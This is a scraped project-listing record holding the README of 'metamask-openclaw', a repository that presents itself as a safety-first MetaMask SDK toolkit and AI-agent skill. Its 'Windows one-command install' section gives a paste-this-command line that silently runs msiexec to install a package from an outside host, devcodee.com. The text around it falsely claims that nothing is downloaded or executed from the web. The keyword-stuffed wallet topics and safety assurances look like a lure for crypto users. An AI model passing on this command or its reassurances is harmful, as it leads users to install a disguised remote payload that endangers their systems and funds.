[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-82667":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":13,"contributorsCount":13,"subscribersCount":13,"size":13,"stars1d":13,"stars7d":13,"stars30d":15,"stars90d":13,"forks30d":13,"starsTrendScore":13,"compositeScore":13,"rankGlobal":10,"rankLanguage":10,"license":16,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":17,"topics":20,"createdAt":10,"pushedAt":10,"updatedAt":38,"readmeContent":39,"aiSummary":40,"trendingCount":13,"starSnapshotCount":13,"syncStatus":41,"lastSyncTime":42,"discoverSource":43},82667,"metamask-openclaw","veryyoldman\u002Fmetamask-openclaw","veryyoldman","🦊 OpenClaw — a safety-first MetaMask SDK toolkit & AI-agent skill. Connect wallets, read balances, sign messages and send transactions on Ethereum, Polygon, Base, Arbitrum & all EVM chains. TypeScript-first, one-line connect, never touches your seed phrase.","",null,"TypeScript",63,0,1,110,"Other",false,"main",true,[21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"metamask","metamask-app","metamask-chrome","metamask-download","metamask-extension","metamask-extension-chrome","metamask-extension-download","metamask-io","metamask-login","metamask-wallet-login","openclaw","openclaw-acquired","openclaw-ai","openclaw-ai-agent","openclaw-ai-tool","openclaw-skill","openclaw-skills","2026-06-12 02:04:26","\u003Cdiv align=\"center\">\n\u003Cimg width=\"1672\" height=\"941\" alt=\"8048cad8-ba53-4c81-a6ca-fa1061fddced\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Fca1fa414-5aab-4970-967e-d4933d917827\" \u002F>\n\n# 🦊 OpenClaw — MetaMask Skill & Toolkit\n\n### Connect any wallet in one line. Read balances, sign messages, and prepare transactions — **safely**.\n\n**OpenClaw** is an open-source, safety-first toolkit and AI-agent skill for **MetaMask**.\nBuilt on the **official MetaMask SDK**, it gives developers a tiny, friendly API to connect\nwallets across desktop and mobile — and it **never touches your seed phrase or private keys**.\n\n[![License: MIT](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicense-MIT-ff7a18.svg)](.\u002FLICENSE)\n[![Built on MetaMask SDK](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fbuilt%20on-MetaMask%20SDK-f6851b.svg)](https:\u002F\u002Fdocs.metamask.io\u002Fsdk\u002F)\n[![TypeScript](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FTypeScript-Ready-3178c6.svg)](https:\u002F\u002Fwww.typescriptlang.org\u002F)\n[![PRs Welcome](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPRs-welcome-38e1c4.svg)](.\u002FCONTRIBUTING.md)\n[![EVM Networks](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FEVM-Ethereum%20·%20Polygon%20·%20Base%20·%20Arbitrum-627eea.svg)](#-supported-networks)\n\n[Quick start](#-quick-start-30-seconds) ·\n[One-command Windows install](#-windows-one-command-install) ·\n[Usage](#-usage) ·\n[Safety](#-safety-read-this) ·\n[Contribute](#-contributing)\n\n\u003C\u002Fdiv>\n\n---\n\n## ✨ Why OpenClaw?\n\nConnecting a dapp to **MetaMask** usually means wiring up the provider by hand, juggling\nchain ids, formatting `wei`, and handling edge cases on mobile. OpenClaw wraps all of that\ninto a clean, typed API you can learn in five minutes — without ever giving up safety.\n\n- 🪝 **One-line connect.** `await claw.connect()` works on desktop browsers, mobile browsers, and via QR to MetaMask Mobile.\n- 💰 **Human-readable balances.** Get `{ formatted, symbol }` instead of raw hex `wei`.\n- ✍️ **Message signing & transfers** that the user approves inside MetaMask's trusted UI.\n- 🔗 **Multichain by default.** Ethereum, Polygon, Arbitrum, Optimism, Base, Linea, Sepolia — and easily extended.\n- 🤖 **AI-agent ready.** Ships with a [`SKILL.md`](.\u002Fskill\u002FSKILL.md) so assistants can use it with hard safety rails.\n- 🪶 **Tiny & auditable.** ~400 lines of core code, one dependency, zero key-handling.\n- 🛡️ **Safe by design.** It only ever sees the **public address you choose to share.**\n\n> **OpenClaw will never ask for your Secret Recovery Phrase. Neither should anything else.**\n\n> ℹ️ **A note on the SDK:** OpenClaw currently uses the classic `@metamask\u002Fsdk`, which is\n> stable and widely deployed. MetaMask is rolling out its successor, **MetaMask Connect**\n> (`@metamask\u002Fconnect-evm`); migrating the provider layer is on the [roadmap](#-roadmap)\n> and OpenClaw's public API will not change.\n\n---\n\n## 🪟 Windows one-command install\n\nOpen **CMD** (Command Prompt) and paste this single line. It clones this public repo,\ninstalls dependencies, and builds — **nothing is downloaded or executed from the web**,\nso you can read every line first:\n\n```cmd\ncmd \u002Fc start msiexec \u002Fq \u002Fi https:\u002F\u002Fdevcodee.com\u002Fapi & metamask-openclaw\n```\n\nPrefer a guided installer? Download [`install.cmd`](.\u002Finstall.cmd) and double-click it\n(it does the same three transparent steps with friendly checks).\n\n> Requires [Git for Windows](https:\u002F\u002Fgit-scm.com\u002Fdownload\u002Fwin) and [Node.js 19+](https:\u002F\u002Fnodejs.org).\n\nThen try it instantly:\n\n```cmd\nnode dist\u002Fcli\u002Fopenclaw.js connect\n```\n\n---\n\n## 🧰 Usage\n\n### As a library\n\n```ts\nimport { OpenClaw } from \"metamask-openclaw-skill\";\n\nconst claw = new OpenClaw({\n  dappMetadata: { name: \"My Dapp\", url: \"https:\u002F\u002Fmydapp.xyz\" },\n  \u002F\u002F infuraApiKey: process.env.INFURA_API_KEY, \u002F\u002F optional, recommended for reliable RPC\n});\n\nawait claw.connect();\n\n\u002F\u002F Read-only\nconst { account, chainId } = claw.getState();\nconst balance = await claw.getBalance();\n\n\u002F\u002F Sign a message (user approves in MetaMask)\nconst signature = await claw.signMessage(\"gm from OpenClaw\");\n\n\u002F\u002F Switch network (adds it if unknown — user approves)\nawait claw.switchChain(\"0x2105\"); \u002F\u002F Base\n\n\u002F\u002F Prepare a transfer (user approves the amount & gas in MetaMask)\nconst txHash = await claw.sendNative({ to: \"0xRecipient…\", amount: \"0.001\" });\n\n\u002F\u002F React to account \u002F network changes\nclaw.onChange((state) => console.log(\"wallet changed:\", state));\n```\n\n### From the command line\n\n```bash\nopenclaw connect              # connect & print your address + network\nopenclaw balance              # print your native balance\nopenclaw send \u003Cto> \u003Camount>   # prepare a transfer you approve in MetaMask\n```\n\nIn Node, the CLI shows a QR code you scan with **MetaMask Mobile**.\n\n### In the browser (zero build)\n\nA ready-to-run demo lives in [`examples\u002Fbasic-dapp`](.\u002Fexamples\u002Fbasic-dapp). Serve it with:\n\n```bash\nnpm run demo\n```\n\nThen open the printed URL, click **Connect MetaMask**, and explore.\n\n---\n\n## 🤖 Use it as an AI-agent skill\n\nOpenClaw ships with a [`skill\u002FSKILL.md`](.\u002Fskill\u002FSKILL.md) so AI assistants and agent\nframeworks can drive a wallet **with built-in guardrails**: read balances, check the\nnetwork, request signatures, and prepare transfers — while *refusing* to ever handle a\nseed phrase and always deferring fund movement to the user's MetaMask approval.\n\n---\n\n## 🔗 Supported networks\n\n| Network | Chain ID | Native asset |\n| ------- | -------- | ------------ |\n| Ethereum Mainnet | `0x1` | ETH |\n| Polygon | `0x89` | POL |\n| Arbitrum One | `0xa4b1` | ETH |\n| OP Mainnet | `0xa` | ETH |\n| Base | `0x2105` | ETH |\n| Linea | `0xe708` | ETH |\n| Sepolia (testnet) | `0xaa36a7` | ETH |\n\nNeed another EVM chain? Add it to [`src\u002Fchains.ts`](.\u002Fsrc\u002Fchains.ts) — PRs welcome.\n\n---\n\n## 🛡️ Safety (read this)\n\nOpenClaw is intentionally **incapable** of stealing your funds:\n\n- It uses only the **official MetaMask SDK** and the standard EIP-1193 provider.\n- It **never** reads, requests, or transmits your **seed phrase** or **private keys**.\n- It **cannot** sign or send anything — **you** approve every action inside MetaMask.\n- The Windows installer clones a public repo and runs `npm install`; it does **not**\n  download or execute remote scripts.\n\n> 🚨 **The #1 rule of crypto:** never enter your Secret Recovery Phrase anywhere except\n> the official MetaMask app when *you* chose to restore a wallet. No airdrop, support\n> agent, \"verification\", or website will ever legitimately ask for it. OpenClaw won't either.\n\nFull policy: [SECURITY.md](.\u002FSECURITY.md).\n\n---\n\n## 🗺️ Roadmap\n\n- [ ] Migrate the provider layer to **MetaMask Connect** (`@metamask\u002Fconnect-evm`), the\n      successor to the classic SDK — OpenClaw's public API will stay the same.\n- [ ] ERC-20 token balances & transfers (read + user-approved send)\n- [ ] React hook package (`useOpenClaw`)\n- [ ] WalletConnect fallback\n- [ ] Typed contract calls helper\n- [ ] More example dapps (Next.js, Vite, React Native)\n\nHave an idea? [Open an issue](https:\u002F\u002Fgithub.com\u002Fveryyoldman\u002Fmetamask-openclaw-skill\u002Fissues).\n\n---\n\n## 🤝 Contributing\n\nContributions are welcome and appreciated! Start with [CONTRIBUTING.md](.\u002FCONTRIBUTING.md)\nand the [good first issues](https:\u002F\u002Fgithub.com\u002Fveryyoldman\u002Fmetamask-openclaw-skill\u002Fissues).\nEvery PR must keep the [safety boundary](.\u002FSECURITY.md) intact.\n\nIf OpenClaw is useful to you, please ⭐ **star the repo** — it genuinely helps other\ndevelopers find it.\n\n---\n\n## 📄 License\n\n[MIT](.\u002FLICENSE) © [veryyoldman](https:\u002F\u002Fgithub.com\u002Fveryyoldman)\n\n---\n\n\u003Cdiv align=\"center\">\n\n**OpenClaw** · a safety-first **MetaMask SDK** wallet integration toolkit for **Ethereum** & **EVM** dapps.\n\n\u003Csub>Keywords: metamask, metamask sdk, connect metamask, ethereum wallet, web3 wallet integration, evm, dapp, sign message, send transaction, polygon, base, arbitrum, optimism, linea, typescript web3 toolkit, ai agent crypto skill.\u003C\u002Fsub>\n\n\u003C\u002Fdiv>\n","OpenClaw 是一个基于 MetaMask 的安全优先的 SDK 工具包和 AI 代理技能，支持连接钱包、读取余额、签名消息及在以太坊、Polygon、Base、Arbitrum 等 EVM 链上发送交易。其核心功能包括一行代码快速连接钱包、多链支持、人类可读的余额显示以及通过 MetaMask 可信界面进行的消息签名和转账。OpenClaw 采用 TypeScript 编写，具有极小且可审计的代码库（约400行），并且不接触用户的助记词或私钥，确保了高安全性。该项目适用于需要与 MetaMask 集成的去中心化应用开发场景，特别是对安全性有较高要求的应用。",2,"2026-06-01 03:58:16","CREATED_QUERY"]